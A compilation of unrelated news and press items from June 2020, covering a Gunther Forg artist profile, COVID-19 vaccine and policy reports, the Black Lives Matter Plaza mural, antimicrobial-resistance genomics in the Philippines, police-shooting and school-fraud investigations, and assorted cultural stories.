Grey is nothing, not white, not black Forgs earliest works stem from his student days. Oppressed by what he perceived as the dreary monotony of 1970s Germany, he began his celebrated series of grey monochromes, whose tactile, sensuous surfaces sowed the seeds for future works. Grey is nothing, he explained, not white, not black. Something in between. Not concerned with the figure. Something free. His early influences included Gerhard Richter, Georg Baselitz, Robert Ryman and Blinky Palermo  all artists who had sought to restructure the picture plane. After graduating in 1979, he embarked on a series of wall paintings: vast fields of colour that dispensed with the canvas altogether. It was an initial step in what would become a lifelong investigation: how to rescue art from the metaphysical realm, and align it with the material world.

From photography to sculpture In a quest to get closer to reality, Forg moved away from painting for much of the 1980s. Instead, he embraced photography, taking Modernist architecture as his muse. His subjects, however, were only half the story. Encased in thick wooden frames and installed on his wall paintings, his photographs assumed an architectural quality, posing as windows to the outside world. As the decade progressed, Forgs practice expanded to include sculpture. Once again, though, there was more to it than that. His bronze creations had the feel of both photography and painting, incised with lines and marks that resembled brushstrokes frozen in time. Like many of his later works, they were at once solid and ephemeral, infused with a sense of raw, organic beauty. Working with sculptural materials such as wood, copper and lead In the late 1980s, Forg returned to painting with renewed purpose. His works combined the sparse geometric language of his architectural photographs with his newfound interest in three-dimensional media, executed on sculptural materials such as wood, copper and lead. The latter would come to play a defining role in his practice.

Gunther Forg (1952-2013), Untitled, 1988. Acrylic on lead on wood. 70 x 47 in (180 x 120 cm). Offered for private sale at Christies. View post-war and contemporary works currently offered for private sale at Christies

Forg relished the unstable interaction between paint and his new volatile supports, embracing the mesmerising textures that animated his vast blocks of colour. In Untitled, 1988, above, structural clarity is held in tension with ethereal swathes of colour that hover elusively on the surface. Forg would occasionally conceive these works as group installations: in February 2020, a rare suite of 22 lead paintings achieved the world record auction price for the artist at Christies, when it sold for 1,331,250. The language of Minimalism and geometric abstraction Over the years, Forgs paintings became a forum for his witty, astute commentary on art history. While many seemed to evoke Barnett Newmans zips or Mark Rothkos colour fields, the artist maintained a clear distance from the transcendental ambitions of his forebears. His works were not intended to transport the viewer to unknown dimensions, but to open their eyes to the wonders of material reality.

Forg also toyed with the language of Minimalism. Though reminiscent of works by Ellsworth Kelly or Donald Judd, his sensory surfaces railed against notions of elemental purity, instead celebrating the complex, unpredictable properties of their materials. Freed from its historical and ideological baggage, geometric abstraction no longer had to justify itself: in Forgs world it existed for its own sake. The Window, Grid and Spot paintings Throughout his career, Forg delighted in blurring the divide between formal rigour and gestural freedom. In his later years, however, the physical joy of painting took over once and for all. His Window and Grid paintings were rendered with fluid, expressive brushwork, while his final Spot paintings rejected all previous sense of order.

Exhibitions and critical acclaim Forg exhibited widely during his lifetime  from Documenta IX in 1992 to significant museum presentations across the world  and has continued to garner critical acclaim since his death in 2013. In 2018, his major retrospective Gunther Forg: A Fragile Beauty opened at the Stedelijk Museum in Amsterdam, subsequently travelling to the Dallas Museum of Art in Texas; in 2019, 30 works were shown at the Palazzo Contarini Polignac during the Venice Biennale.

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Source: Xinhua| 2020-06-05 12:03:19|Editor: huaxia

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SYDNEY, June 5 (Xinhua) -- The Coalition for Epidemic Preparedness Innovations (CEPI) has partnered with Australian biotech giant CSL to develop, manufacture and globally distribute a COVID-19 vaccine.

The landmark international collaboration aims to fast track a vaccine candidate developed by Australia's University of Queensland (UQ), which has been identified as showing significant promise.

Phase one of human trials for UQ's "Molecular Clamp" vaccine are expected to take place in early July, with the potential for a widespread rollout of doses in 2021.

The vaccine theoretically works by locking on to the normally unstable, perfusion proteins on the surface of the virus, allowing the body's immune system to respond more effectively.

Early preclinical results of the UQ COVID-19 vaccine candidate have shown it to produce high levels of antibodies that can neutralise the virus.

Jane Halton, Chair of CEPI explained that partnering with CSL gives the capacity to rapidly produce "a very significant number" of doses should the vaccine prove viable.

"We are absolutely focused on developing vaccines that are globally accessible. Immunising those who need it most, regardless of where they are in the world, is the quickest way to end the pandemic," Halton said.

CSL, which was formerly Commonwealth Serum Laboratories, recently become the largest company listed on Australia's stock market, and is one of the largest providers globally of in-licensed vaccines.

Chief Scientific Officer at CSL, Professor Andrew Cuthbertson explained that the plan takes advantage of the company's large scale manufacturing facilities within Australia -- including two 2,000-litre bioreactors capable of producing multi-millions of doses, which is where the initial phase of large-scale production of the UQ COVID-19 vaccine is planned to take place.

CEPI already funds multiple COVID-19 vaccine programs worldwide involving institutions such as Curevac, Inovio Pharmaceuticals, Moderna, Novavax, the University of Hong Kong, the University of Oxford, and a consortium led by Institut Pasteur, and Clover Biopharmaceuticals.

"What I can tell you is to actually get funding from CEPI in the first instance, this is a particularly good project," Halton said of UQ's vaccine program.

"It received ringing endorsement from our scientific advisory committee and that is the basis on which we've invested." Enditem
Photo: The Canadian Press The Washington Monument and the White House are visible behind the words Black Lives Matter sign that has been painted in bright yellow letters on the 16th Street by city workers and activists, Friday, June 5, 2020, in Washington. (Khalid Naji-Allah/Executive Office of the Mayor via AP)

City workers and local artists painted the words Black Lives Matter in enormous bright yellow letters on the street leading to the White House, a highly visible sign of the District of Columbia's embrace of a protest movement that has put it even further at odds with President Donald Trump.

D.C. Mayor Muriel Bowser said after the mural was completed Friday that it was intended to send a message of support and solidarity to Americans outraged over the killing of George Floyd by police in Minneapolis.

There is a lot of distrust of police and the government. There are people who are craving to be heard and to be seen and to have their humanity recognized, the mayor said. We had the opportunity to send that message loud and clear on a very important street in our city.

The letters and an image of the city's flag stretch across 16th Street for two blocks. The mural ends near St. John's Episcopal Church, where Trump staged a photo-op on Monday after officers in riot gear fired tear gas and charged demonstrators to make way for the president and his entourage.

A sign now identifies that section of 16th Street near the White House as Black Lives Matter Plaza.

Bower has verbally clashed with the Trump administration over the handling of the protests. The mayor has complained about the heavy-handed federal response and called for the removal of out-of-state National Guard troops.

She says their differences highlight the need for D.C. to be a state and have more control over its affairs. They may also reflect the fact that Trump is deeply unpopular in the district, where Hillary Clinton won about 90% of the vote in the 2016 presidential election.

While not addressing the painted mural, Trump continued his attacks on Bowser in tweets Friday.

The incompetent Mayor of Washington, D.C., @MayorBowser, who's budget is totally out of control and is constantly coming back to us for handouts,' is now fighting with the National Guard, who saved her from great embarrassment over the last number of nights," he tweeted. "If she doesn't treat these men and women well, then we'll bring in a different group of men and women!

She shrugged off his criticism. You know that thing about the pot and the kettle, the mayor said at a news conference.

The local chapter of Black Lives Matter said it did not support painting the street and took a swipe at Bowser. This is performative and a distraction from her active counter organizing to our demands to decrease the police budget and invest in the community, it said on Twitter.

On Thursday, as the protests remained peaceful, Bowser ended a curfew imposed after people damaged buildings and broke into businesses over the weekend and Monday. A large demonstration is expected in the city on Saturday, and the city has not yet decided whether the curfew will be reinstated.

The mayor tweeted out a letter from House Speaker Nancy Pelosi, who wrote the president to express alarm that peaceful protesters were being confronted by heavily armed federal agents and officers, many of them with their identities and agencies obscured.

There are thousands of members of the National Guard along with officers and agents from numerous agencies deployed around Washington in case of civil unrest.
05.06.2020 LISTEN

COVID-19 continues to devastate lives and livelihoods around the globe  hitting the most vulnerable the hardest. This is particularly true for millions of people on the move  such as refugees and internally displaced persons who are forced to flee their homes from violence or disaster, or migrants in precarious situations.

Now they face three crises rolled into one.

First, a health crisis  as they become exposed to the virus, often in crowded conditions where social distancing is an impossible luxury  and where basics such as health care, water, sanitation, and nutrition are often hard to find.

This impact will be even more devastating to a large number of people on the move who live in the least developed countries. One-third of the worlds internally displaced population lives in the 10 countries most at-risk to COVID-19.

Second, people on the move face a socio-economic crisis  especially those working in the informal economy without access to social protection.

In addition, the loss of income from COVID-19 is likely to lead to a colossal $109 billion drop in remittances. Thats the equivalent of nearly three-quarters of all official development assistance that is no longer being sent back home to the 800 million people who depend on it.

Third, people on the move face a protection crisis.

More than 150 countries have imposed border restrictions to contain the spread of the virus. At least 99 states make no exception for people seeking asylum from persecution.

At the same time, fear of COVID-19 has led to skyrocketing xenophobia, racism, and stigmatization.

And the already precarious situation of women and girls is more direr, as they face higher risks of exposure to gender-based violence, abuse, and exploitation.

Yet even as refugees and migrants face all these challenges, they are contributing heroically on the frontlines in essential work.

About one in eight of all nurses globally, for example, is practicing in a country different from where they were born.

The COVID-19 crisis is an opportunity to reimagine human mobility.

Four core understandings must guide the way:

First, the exclusion is costly and inclusion pays. An inclusive public health and socio-economic response will help suppress the virus, restart our economies and advance the Sustainable Development Goals.

Second, we must uphold human dignity in the face of the pandemic and learn from the handful of countries that have shown how to implement travel restrictions and border controls while fully respecting human rights and international refugee protection principles.

Third, no-one is safe until everyone is safe. Diagnostics, treatment and vaccines must be accessible to all.

Fourth and finally, people on the move are part of the solution. Let us remove unwarranted barriers, explore models to regularize pathways for migrants and reduce transaction costs for remittances.

I am grateful to countries, especially developing countries, that have opened their borders and hearts to refugees and migrants, despite their own social, economic, and now health, challenges.

They offer a moving lesson to others in a period when doors are closed. It is essential that these countries are provided with increased support and full solidarity.

We all have a vested interest to ensure that the responsibility of protecting the worlds refugees is equitably shared and that human mobility remains safe, inclusive, and respects international human rights and refugee law.

No country can fight the pandemic or manage migration alone.

But together, we can contain the spread of the virus, buffer its impact on the most vulnerable and recover better for the benefit of all.

Thank you.
Antibiotic resistance surveillance in the Philippines has moved into the genomic era, enabling better tracking of dangerous bacteria. Researchers at the Centre for Genomic Pathogen Surveillance (CGPS housed at the Wellcome Sanger Institute and The Big Data Institute (BDI), University of Oxford), and the Philippine Research Institute for Tropical Medicine (RITM), set up local DNA sequencing and analysis of drug resistant bacteria in the Philippines. This genomic capacity has enhanced ongoing national infection control including tracking the spread of resistance to last-line antibiotics and identifying drug resistant infections in a hospital baby unit, helping control the outbreak.

Reported in Nature Communications this week, this study shows the power of local genomic sequencing within national surveillance networks in low- and middle-income countries, and could be extended to other locations to tackle the global challenge of antimicrobial resistance.

Antimicrobial resistance (AMR) is a global health problem, with resistance to common antibiotics found in all regions of the world. This means it can be extremely difficult to treat some bacterial diseases such as MRSA, tuberculosis and gonorrhoea, and raises risks of any surgery.

Surveillance of AMR is critical to understand and try to halt its spread, and DNA sequencing can pinpoint resistance mechanisms and uncover transmission patterns. However, genomic surveillance is less common in low- and middle-income countries (LMICs), which are predicted to be the most affected by AMR.

The Philippines has a very well established Antimicrobial Resistance Surveillance Program within the Philippine Department of Health, which uses laboratory-based methods to track antimicrobial resistance. In 2018 the researchers helped set up a DNA sequencing facility within this to build local capacity for genomic surveillance in the Philippines*. This has included establishing local capacity in genomics and data interpretation through shared training.

Samples were sequenced from more than 20 sites across the Philippines, focusing on bacteria that are resistant to the last-line antibiotics, and listed by the World Health Organisation as top priority pathogens for the development of new antibiotics**. The teams collectively analysed the data, creating phylogenetic trees that showed how the bacterial strains are related to each other, and uncovered several high-risk clones.

Combining the genetic findings with epidemiological data allowed the researchers to pinpoint strains in particular locations. In one hospital they identified a cluster of the same strain of carbapenem-resistant Klebsiella pneumoniae in a neonatal intensive care unit, and revealed that this was being spread within the hospital. This evidence enabled the hospital to bolster their infection control team, to control potential future outbreaks.

Dr Celia Carlos, joint lead of the project from the Research Institute for Tropical Medicine, Philippines, said: "Here in the Philippines we have more than 30 years of experience developing laboratory methods to track AMR, with our Antimicrobial Resistance Surveillance Program. Now, working with our partners in the UK, we have established local capacity and expertise for whole genome sequencing in the Philippines, adding genomic surveillance to these other methods. This is helping us to identify emerging resistant strains much faster, so we can understand what is happening, prevent transmission of AMR and save lives."

Dr Silvia Argimon, first author on the paper from the Centre for Genomic Pathogen Surveillance said: "The programme not only helped set up the genomic infrastructure in the Philippines, but also enabled close collaboration between the teams in the UK and the Philippines. This included exchange visits between the researchers and training to transfer ownership of the sequencing, analysis and understanding to the team in the Philippines, and ensured that everyone understood the resourcefulness and challenges of the sentinel sites."

Genomic surveillance allows the team to describe drug-resistant bacteria in terms of their strains, which genes enable the resistance, and how those genes are transferred between bacteria. Through genomics the Philippines now have a greater lens on AMR at the local, the national and international scale, allowing data analysis at a previously difficult level. The data are shared with Philippine public health agencies and with the WHO to inform both local and global understanding of the spread of carbapenam resistance.

Professor David Aanensen, Director of the Centre for Genomic Pathogen Surveillance and joint lead on the project, said: "Understanding national dynamics in antimicrobial resistance is important in every country in the world to prevent spread globally, and new technology and tools that enhance this capacity are required. The work by the Philippines team to establish genomics within a national surveillance network is an exemplar for adoption that could be extended to tackle the global challenge of antimicrobial resistance or other infections. "

###

Contact:

Dr Samantha Wynne, Media Officer

Wellcome Sanger Institute

Wellcome Genome Campus

Hinxton, Cambridge, CB10 1SA, UK

Phone: +44 (0)1223 492368

Email: press.office@sanger.ac.uk

Notes to editors:

* Whole genome sequencing started at the Antimicrobial Resistance Surveillance Research Laboratory in 2018 with the Illumina MiSeq equipment available locally. A new dedicated bioinformatics server was installed there for sequence data storage and analysis. Data sharing via interactive web tools such as Microreact (http://www.microreact.org) and Pathogenwatch (http://www.pathogen.watch) helped the collective data interpretation.

** WHO List of bacteria for which new antibiotics are urgently needed. https://www.who.int/news-room/detail/27-02-2017-who-publishes-list-of-bacteria-for-which-new-antibiotics-are-urgently-needed

Selected websites:

Research Institute for Tropical Medicine (RITM)

Established in 1981, the Research Institute for Tropical Medicine (RITM) is the research arm of the Philippine Department of Health (DOH). It is home to 12 National Reference Laboratories (NRLs) for various infectious diseases that provide technical expertise in the laboratory diagnosis and characterization of infectious agents in the country for surveillance, outbreak investigations, and research. RITM also conducts clinical trials and provides clinical care to people suffering from emerging and re-emerging infectious and tropical diseases. http://ritm.gov.ph/

Centre for Genomic Pathogen Surveillance

The Centre for Genomic Pathogen Surveillance is an initiative based at The Big Data Institute at the University of Oxford and The Wellcome Genome Campus focussed on genomic epidemiology, laboratory and software engineering for global surveillance of microbial pathogens. The Centre seeks to provide genomic and epidemiological big data and tools to allow researchers, doctors and governments worldwide to track and analyse the spread of pathogens and antimicrobial resistance. http://www.pathogensurveillance.net/

The NIHR Global Health Research Unit of Genomic Surveillance of Antimicrobial Resistance The NIHR Global Health Research Unit on Genomic Surveillance of AMR is focussed on capacity building for genomic surveillance in Low and Middle Income Countries. Capacity in Laboratory, Bioinformatics and Financial management within The Phillipines, Nigeria, Colombia and India is driven by National Units linked to networks or participating hospitals and laboratories. Through large scale sequencing, training and delivery of open data through web resources, data are being generated to understand the population structure and monitoring of important species driving the spread of antimicrobial resistance. http://ghru.pathogensurveillance.net

The Big Data Institute

The Big Data Institute is located in the Li Ka Shing Centre for Health Informatics and Discovery at the University of Oxford. It is an interdisciplinary research centre that focuses on the analysis of large, complex data sets for research into the causes, consequences, prevention and treatment of disease. Research is conducted in areas such as genomics, population health, infectious disease surveillance and the development of new analytic methods. The Big Data Institute is supported by funding from the Medical Research Council, the UK Research Partnership Investment Fund, the National Institute for Health Research Oxford Biomedical Research Centre, and philanthropic donations from the Li Ka Shing and Robertson Foundations. Further details are available at http://www.bdi.ox.ac.uk

The Wellcome Sanger Institute

The Wellcome Sanger Institute is a world leading genomics research centre. We undertake large-scale research that forms the foundations of knowledge in biology and medicine. We are open and collaborative; our data, results, tools and technologies are shared across the globe to advance science. Our ambition is vast - we take on projects that are not possible anywhere else. We use the power of genome sequencing to understand and harness the information in DNA. Funded by Wellcome, we have the freedom and support to push the boundaries of genomics. Our findings are used to improve health and to understand life on Earth. Find out more at http://www.sanger.ac.uk or follow us on Twitter, Facebook, LinkedIn and on our Blog.

Wellcome

Wellcome exists to improve health by helping great ideas to thrive. We support researchers, we take on big health challenges, we campaign for better science, and we help everyone get involved with science and health research. We are a politically and financially independent foundation. http://www.wellcome.ac.uk
By PTI

LUCKNOW: After reports that a teacher worked in 25 schools simultaneously and earned over Rs 1 crore as salary in 13 months, the Uttar Pradesh government on Friday said a probe is on and "nothing has been confirmed so far".

"Acting on media reports, Additional Director, Basic Education was ordered to probe the matter. Nothing has been confirmed so far. The name of a teacher has come to light. She is absconding now. It is being said that Rs 1 crore was paid as salary. This is not at all true. No such thing has been confirmed," Director General School Education Vijay Kiran Anand PTI.

"A probe is on and if allegations are true, an FIR will be lodged. The transfer of money (salary) in her bank account has also not been done. Divisional officers are investigating the matter. Strict action will be taken if any teacher is found to be working as a proxy teacher in other schools," the officer said.

According to complaints, a woman teacher who is native of Mainpuri worked in over 25 schools and drew a salary of over Rs one crore.

There are allegations that she worked as a science teacher in Kastruba Gandhi Balika Vidyalaya in Ambedkar Nagar, Baghpat, Aligarh, Saharanpur, Prayagraj and other places.

KGBV teachers are appointed on contract and get Rs 30,000 as pay.
The Fairfax County, Virginia, prosecutor investigating the 2017 slaying of unarmed motorist Bijan Ghaisar says that the FBI has withheld about 260 documents from its investigation into the fatal shooting by two U.S. Park Police officers, and he wants to see them before deciding whether to seek charges in the case.

The Park Police has come under scrutiny in recent days for its handling of protests near Washington's Lafayette Square in response to the death of George Floyd in Minneapolis police custody. Acting Chief Gregory Monahan placed two officers on administrative duty after they were recorded striking an Australian news photographer Monday.

Fairfax County Commonwealth's Attorney Steve Descano released a letter he sent May 29 to Assistant Attorney General Eric Dreiband, not only seeking the 260 documents but asking if Dreiband would allow FBI agents to cooperate and testify in the investigation by county authorities. In February, Dreiband told Descano he would not allow FBI agents to participate in a Fairfax County criminal case because the Justice Department was considering representing the two Park Police officers in a civil suit pending in federal court in Alexandria, and doing so would be a conflict of interest.

But the Justice Department has not entered an appearance on behalf of either Alejandro Amaya or Lucas Vinyard, identified by federal authorities as the two Park Police officers who fired 10 times into Ghaisar's Jeep Grand Cherokee as he slowly drove away from them in November 2017. Because the Park Police is a federal agency, the FBI took over the homicide investigation, and the Justice Department's Civil Rights Division announced in November that it would not file federal criminal civil rights charges against the two officers.

The Justice Department said its decision did not preclude other agencies from investigating the case. Then-Fairfax County Commonwealth's Attorney Raymond F. Morrogh obtained the FBI's files in December and tried to seek murder indictments against Amaya and Vinyard, but the Justice Department blocked the agents who handled the case from testifying before a Fairfax County grand jury.

Morrogh stepped down in January and Descano continued to investigate the case, which occurred in the Fort Hunt neighborhood of Fairfax County. Ghaisar, 25, who was pursued by Amaya and Vinyard for leaving the scene of a minor traffic accident, pulled over three times and drove off each time. During the third encounter, captured on video by a camera in a Fairfax County police lieutenant's cruiser, Amaya and Vinyard both fired five times, striking Ghaisar four times in the head, the Justice Department has said.

The Park Police stopped Fairfax County police from investigating the case, exercising jurisdiction granted to them in Northern Virginia under state law. After three days, they handed the case over to the FBI, and declined to identify the officers or discuss the case at all.

The officers were only named publicly in 2019 after Ghaisar's family sued the Park Police and subpoenaed reports from the Fairfax County police. In March, a federal magistrate judge ordered the FBI to turn over its files to the Ghaisar family's lawyers. The documents are under a protective order, but the Ghaisar family's lawyers said Thursday there were "substantial redactions in what was produced."

Vinyard and Amaya were placed on administrative duty and remain there today. Neither has commented publicly. Park Police said an internal investigation will be conducted only after criminal investigations are resolved.

In March, on the same day the FBI produced its files to the Ghaisar family's lawyers, attorney Daniel S. Crowley entered his appearance as the lead attorney for both Vinyard and Amaya. He did not reply to a request for comment. It is not clear if his legal fees are being paid by the Fraternal Order of Police, which represents Park Police officers. The union has not spoken publicly in defense of Vinyard and Amaya since the slaying.

Descano, a former Justice Department attorney, wrote in the May 29 letter that his office "is now nearing completion of its review" of the FBI's investigative file. Descano noted that a log of materials in the FBI file "contains approximately 260 entries labeled as 'redacted.'" and that the documents corresponding to those entries were withheld.

"Please identify the documents withheld and advise whether you will produce the documents in their entirety," Descano wrote.

Following that, an entire paragraph of Descano's letter to Dreiband is redacted. Antonio Peronace, the spokesman for Descano, said he could not comment on what the redacted paragraph discusses. He said Descano released the letter as "part of our commitment to transparency. Steve has heard from a lot of members of the community about this case, and he wants to let people know that covid-19 has not affected his progress on the case."

Descano also asked to view the physical evidence collected by the FBI and to speak with the agents involved in the case. He said he needed to know what level of cooperation the Justice Department would provide as he made decisions in the case moving forward.

Descano asked for an answer by June 30, and said if he received no response, he would assume that the Justice Department would not cooperate. In a statement last month, Descano said that despite the lack of federal cooperation, his prosecutors had "very constructive communication with local law enforcement partners as well as the Ghaisar family's lawyers," indicating that Fairfax County police may be taking a larger role in the case. A Fairfax police spokesman said Friday the department had not been asked to do anything on the Ghaisar case.

The Justice Department did not respond to a request for comment.
A negative laboratory test result of COVID-19 patients is no longer required for such patients to be discharged, a Nigerian official has said.

The Director-General of the Nigeria Centre for Disease Control (NCDC), Chikwe Ihekweazu, made this known at the daily Presidential Task Force (PTF) on COVID-19 briefing on Thursday.

Mr Ihekweazu said the new discharge criteria for COVID-19 Infection indicates that patients can be free 14 days after the first positive result.

There have been new science emerging about the duration of infectivity of individual patients. It led to the WHO issuing new clinical guidelines.

Symptomatic patients would thereby be discharged 10 days after symptom onset, plus at least 3 days without symptoms. If your symptoms last for longer, we will wait for longer managing you supportively.

If you are asymptomatic, you can be discharged 14 days after your first positive result. A negative laboratory test is no longer required to discharge a COVID-19 patient, he said.

According to the NCDC DG, the new guideline is based on new data from Singapore that RNA detected beyond 10 days is no longer infectious as no viable virus is grown by viral culture.

At the initial stage of the virus in Nigeria, the major requirement for discharging patients was testing negative to COVID-19 twice.

The NCDC boss later said the agency had switched to testing COVID-19 patients only once as against its earlier stance on double testing before discharge.

This, he said is to enable the decongestion of some isolation centres in the country.

Mr Ihekweazu had earlier said Nigeria may consider discharging COVID-19 patients earlier than their required treatment and isolation period, even though they are still positive.

The agency also said it was considering home treatment for patients also as a means of decongesting the treatment centres.

Self-isolation

Meanwhile, Mr Ihekweazu said discharged patients are to continue self-isolating at home one week after discharge.

At that point, you really dont need more clinical interventions, even at home; you just need time to recover.

It is just like you recover from any other illness. You dont need any special intervention once you have been discharged, he said.

Overwhelmed

There have been indications that treatment centres across the country have become overwhelmed by the number of persons requiring institutional isolation and treatment.

Mr Ihekweazu earlier said Nigeria lacked adequate bed spaces to accommodate COVID-19 patients in isolation centres across states.

He said the federal government was considering the option of home-care treatment for COVID-19 patients.

The Minister of Health, Osagie Ehanire, at the daily PTF briefing said schools and hotels may be used as isolation centres for COVID-19 patients if the need arises.

Mr Ehanire said Nigeria currently has over 112 treatment and isolation centres in the 35 states and FCT with just over 5,000 beds. The number of comfirmed positive cases has shot over 11,000.
The existential question that every big tech platform from Twitter to Google to Facebook has to wrestle with is the same: How responsible should it act for the content that people post?

The answer that Silicon Valley has come up with for decades is: Less is more. But now, as protests of police brutality continue across the country, many in the tech industry are questioning the wisdom of letting all flowers bloom online.

After years of leaving President Trumps tweets alone, Twitter has taken a more aggressive approach in recent days, in several cases adding fact checks and marks indicating the presidents tweets were misleading or glorified violence. Many Facebook employees want their company to do the same, though the chief executive, Mark Zuckerberg, said he was against it. And Snapchat said on Wednesday that it had stopped promoting Mr. Trumps content on its main Discover page.

In the midst of this notable shift, some civil libertarians are raising a question in an already complicated debate: Any move to moderate content more proactively could eventually be used against speech loved by the people now calling for intervention.
COVID-19 observatory: Bungled response compounds misery in Brazil

Brazil, which has followed the inept example of Mexico in failing to swiftly enact national public health policies to contain the coronavirus pandemic, has now become the world leader in terms of infections and daily deaths, according to the latest round of data provided by the Latin America COVID-19 Observatory.

In a trilingual webinar Tuesday, members of the University of Miami-led initiative that provides timely data in an effort to improve government public health policy responses and save lives, along with a leading Brazilian epidemiologist, analyzed the observatory's study on Brazil.

"This is a very timely discussion as Latin America has now become the world's hot spot for COVID-19 infections and deaths, accounting for 40 percent of the daily registered deaths globally, and Brazil has reached a critical phase in its response to the COVID-19 pandemic," said University of Miami President Julio Frenk, setting the context for the session.

Frenk, a former health minister in Mexico and global public health expert, highlighted the "enormous expressions of solidarity, service, and sacrifice in the region, particularly on the part of frontline health workers and researchers" in seeking to combat the contagion.

"In that spirit of solidarity, we are presenting this data," he said, "yet, sadly, we are witnessing the peril of delayed action by populist governments that tend to devalue science and evidence--and that has put millions of lives at risk."

The Latin America COVID-19 Observatory was developed by the Institute for Advanced Study of the Americas, Miller School of Medicine, College of Arts and Sciences, and the School of Communication, in collaboration with research partners throughout Latin America. A first round of data released several weeks ago focused on Mexico, and this second release centered on Brazil with a comparative regional data analysis.

The observatory provides daily updates on public health and physical distancing policies--10 variables in total--implemented at the national and subnational level, the only consortium to offer state-level regional data of this scope, explained Felicia Marie Knaul, director of the Institute for Advanced Study of the Americas and professor in the Department of Public Health Sciences at the Miller School.

Knaul noted that the observatory plans next to continue its assessment of other countries in the region and also to strengthen its collaboration with Brazil. She emphasized the value of providing state-level data that can be easily visualized on the website.

"From a research point of view, we will be able to look at differences across states and countries to help us explain what works and what doesn't work in the face of a pandemic--and that should help with future preparedness and also what we might see in terms of second waves of the current pandemic," said Knaul, who has been instrumental in advancing the initiative.

"Also," she continued, "what we've seen in Mexico, in Brazil, and other countries with major variance is that if you demonstrate that some states are performing better than others, you can encourage those states that have weak public policy or even those that have enacted strong policy, but are still seeing mobility, that they need to adjust their public policies." Such analysis, she said, can provide "an opportunity for an overall improvement at the national level by asking states to come together and do as well as the best-performing states."

Knaul noted that Brazil, with now nearly 1,000 deaths a day and a trajectory that is on the upswing, is now the hot spot of the global pandemic.

"Our hearts and souls go out to all living in Brazil at the epicenter and to see how this is evolving, and we are here to do whatever we can to be supportive," she said.

Alberto Cairo, Knight Chair in Visual Journalism and associate professor with the School of Communication, moderated the webinar. Cairo formed part of a robust collaborative effort from the school that played a major role in translating--linguistically, textually, and visually--the website's data and display.

In pre-release findings on Brazil, the consortium observed that the administration of Brazil President Jair Bolsonaro wasted valuable time while COVID-19 spread across the country, a delay that obligated state and local governments to fend for themselves.

Michael Touchton, assistant professor of political science and the global health associate faculty lead for the institute with expertise in Brazil, highlighted the impact of the disparities in the differing responses of Brazilian states and other more recent trends in his presentation.

The best state performers were not limited to the wealthiest states, nor to those that are often considered the best governed, Touchton noted. Instead, political explanations--whether the state governor opposed or supported the Brazilian president--were a better indicator of how well the state was in controlling the contagion.

The relatively marginalized states of the northeast part of the country have responded more aggressively and have fared better, as have some northern states. And, governors from opposition parties lead these states and have imposed much stricter measures than what the Bolsonaro administration recommended, Touchton pointed out.

Cesar Victora, Brazilian epidemiologist and lead of the International Center for Equity in Health at Universidade Federal de Pelotas, provided a detailed analysis based on household surveys of 133 sentinel cities in Brazil's 27 states. In response to an audience question, Frenk said that the common element for both controlling the pandemic and opening the economy in Latin America and elsewhere is to do testing, both for surveillance and diagnostic in nature.

"It's not a trade-off--the two objectives of controlling and opening have to go hand in hand," Frenk said. "If you reopen the economy in an accelerated, reckless way, you will have a spike in cases. And, you may have to shut down the economy a second time."

"And the third piece is clear, clear communication," Frenk continued. "Communicating to the people so that they adhere to the physical distancing, protection of personal space by using masks, and extensive measures of personal hygiene--that is the combination that allows you to open the economy safely and to control the pandemic."

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Visit the COVID-19 Observatory interactive platform here: http://observcovid. miami. edu/

- http://www. news. miami. edu -

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
A Catchphrase clip has resurfaced for its out-of-touch description of Barbados during a prize announcement.

The video shows the classic game shows host, Roy Walker, telling a contestant they have won a trip to the Caribbean island.

As scenes of the luxury resort are shown, a voice-over announces: Tonight, our lucky winner will have a chance to celebrate on Barbados, a tropical paradise, combining rugged cliffs and gentle Caribbean surf, traditional colonialism and more relaxed pursuits.

Barbados was briefly taken over by the Portuguese in 1532, and then in 1625 the island was colonised by the British Empire.

Many of the indigenous residents of the island  the Arawaks and Caribs  were forced into slavery and shipped around the world as their home was taken.

Barbados remained a British colony for 341 years, before becomin a parliamentary democracy modelled on the Westminister system in 1966.

Queen Elizabeth, Queen of Barbados, remains head of state to this day.

It remains unclear when the episode aired, but Walker hosted the series between 1986 and 1999.

Twitter users were shocked after seeing the clip. One wrote: I- Did I hear what i think I heard??? Come to MY island for a taste.... I AM ANGRY.

Another replied: Jaw on floor.

Traditional Colonialism with UKIP Tours said another.
Since film production ground to a halt in March because of the COVID-19 pandemic, many are talking about how the production machine may click back into gear following the provincial edict allowing film production as of June 1.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

Since film production ground to a halt in March because of the COVID-19 pandemic, many are talking about how the production machine may click back into gear following the provincial edict allowing film production as of June 1.

But heres a little secret. In some quarters of Winnipegs film industry, production never stopped.

"Being in a digital business does help in that respect," says Ken Zorniak, president and CEO of Tangent Animation. In mid-March, when it became clear stay-at-home orders would be coming in response to the pandemic, Tangent was working on two different animated feature films for Netflix. (Zorniak cant describe the content of the films, but a useful template may be their 2018 Netflix offering, NextGen, a kid-friendly feature in which a girl teams with a runaway robot to stop a megalomaniac bent on world domination.)

Zorniak, one of the co-founders of Frantic Films when it was primarily a visual effects house, says Tangent saw the writing on the wall early, which allowed the company to send nearly 300 of its employees to work from home.

Tangent Animation / Netflix Charlene Yi voices Mai (left), a lonely girl who befriends a robot (John Krasinski) in Tangent Animations Next Gen. The local company has kept working during the pandemic.

"Wed been researching this for a while and we saw the potential and we had testing going on already," Zorniak says. "So when we saw the inevitability of where this was going to be going, we started building a tactic plan on how we could transition the office to a home environment.

"We had 280 people we transitioned out of the office," Zorniak says, including 100 in the Winnipeg office of Tangent and 180 in the Toronto office. "So youre looking at 280 connections back to the office and everyone has their own flavour of home internet that they are using, so you have to kind of analyze what your solution is and understand where the problems are and try and address them as you go.

"We had already been kind of thinking of going in this direction," Zorniak says, adding there are no plans to bring the staff back to Tangents Exchange District offices.

"Why risk people on public transport and all that other stuff, only to have everyone in the office be exposed?" Zorniak says. "We would have to shut down again.

"Theres really no benefit to that if people are having a quality of life and theyre happy with being at home," he says. "It makes it that much easier to make that call.

"Its been a challenge," Zorniak says. "But the other part of working from home that has been successful has been the fact that everyone has been exposed to the same challenge.

Zorniak says Tangent is scheduled to deliver the first of the two animated features next year.

"We feel obliged to work at 100 per cent quota because Netflix has been helpful in allowing us to let quotas fly for a couple of months so we could get back on track," he says. "Its been a very positive relationship, honestly. Theyve been very kind of accommodating and helpful and caring.

"There are things that Ive heard from Netflix but I never thought I would hear from a studio," he says. "They were very concerned about the health of our team and wanted to make sure everyone was feeling good so they were willing to be accommodating, which is great."

